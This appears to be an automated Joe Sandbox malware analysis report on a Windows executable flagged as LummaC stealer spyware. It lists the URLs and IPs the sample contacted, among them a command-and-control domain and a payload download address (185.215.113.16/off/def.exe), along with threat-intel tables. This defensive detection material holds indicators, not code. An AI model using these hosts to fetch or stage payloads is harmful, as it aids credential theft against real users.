https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeh	v5Evrl41VR.exe, 00000000.00000003.1618521680.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steambroadcast-test.akamaized	v5Evrl41VR.exe, 00000000.00000003.1618543273.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510247117.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/a	v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://github.com/Thraka	chromecache_106.6.dr	false		high
https://lev-tolstoi.com/apiA/02	v5Evrl41VR.exe, 00000000.00000003.1435578157.0000000005725000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1435623860.000000000572D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com/	v5Evrl41VR.exe, 00000000.00000003.1510523637.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://store.steampowered.com/points/shop/	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_106.6.dr	false		high
https://schema.org	chromecache_110.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	v5Evrl41VR.exe, 00000000.00000003.1459982889.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16//9K	v5Evrl41VR.exe, 00000000.00000003.1618482641.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/adegeo	chromecache_106.6.dr	false		high
http://185.215.113.16:80/off/def.exe	v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C87000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	v5Evrl41VR.exe, 00000000.00000003.1460351861.00000000057B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_130.6.dr, chromecache_110.6.dr	false		high
http://185.215.113.16/off/def.exe	v5Evrl41VR.exe, v5Evrl41VR.exe, 00000000.00000003.1618482641.0000000000D02000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618521680.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618727396.0000000000D11000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_106.6.dr	false		high
https://github.com/dotnet/try	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://store.steampowered.com/;	v5Evrl41VR.exe, 00000000.00000003.1357987726.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_106.6.dr	false		high
https://steamcommunity.com/my/wishlist/	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/900	v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	v5Evrl41VR.exe, 00000000.00000003.1460351861.00000000057B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_106.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.11

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581606
Start date and time:	2024-12-28 09:47:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	v5Evrl41VR.exe renamed because original name is a hash value
Original Sample Name:	438b2909dabcb5f50d7f5f7812420fd6.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@19/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 172.217.21.35, 23.218.210.69, 172.217.19.238, 64.233.161.84, 172.217.17.46, 184.30.22.94, 192.229.221.95, 20.189.173.27, 23.32.238.130, 2.19.198.56, 142.250.181.42, 172.217.19.234, 142.250.181.106, 142.250.181.138, 172.217.17.42, 172.217.17.74, 216.58.208.234, 172.217.19.202, 142.250.181.74, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35, 13.107.246.63, 52.149.20.212, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, onedscolprdwus21.westus.cloudapp.azure.com, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, wcp
Execution Graph export aborted for target v5Evrl41VR.exe, PID 7860 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:48:25	API Interceptor	70x Sleep call for process: v5Evrl41VR.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
185.215.113.16	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPzPNCzcCy.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	hx0wBsOjkQ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	fnnGMmd8eJ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Script.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Aura.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
s-part-0035.t-0009.t-msedge.net	HGFSqmKwd5.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	13.107.246.63
	TbxHhK6lsS.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	MrIOYC1Pns.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	jPJaszTDNt.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUMFBJSDkxQ0w3VVZMNFJFUlNDRVkyU05CUi4u	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
steamcommunity.com	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	N36e6JFEp6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	SPzPNCzcCy.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	hx0wBsOjkQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	MrIOYC1Pns.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	fnnGMmd8eJ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	PW6pjyv02h.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	23.44.201.12
	N36e6JFEp6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	SPzPNCzcCy.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	hx0wBsOjkQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	MrIOYC1Pns.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	fnnGMmd8eJ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
CLOUDFLARENETUS	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	172.64.41.3
	j2nLC29vCy.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	SPzPNCzcCy.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	es5qBEFupj.exe	Get hash	malicious	LummaC	Browse	172.67.128.184
	vUcZzNWkKc.exe	Get hash	malicious	LummaC	Browse	172.67.128.184
	CLaYpUL3zw.exe	Get hash	malicious	LummaC	Browse	172.67.128.184
	hx0wBsOjkQ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
WHOLESALECONNECTIONSNL	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.206
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	H1iOI9vWfh.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86 23.55.153.106
	FfcoO2Giru.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
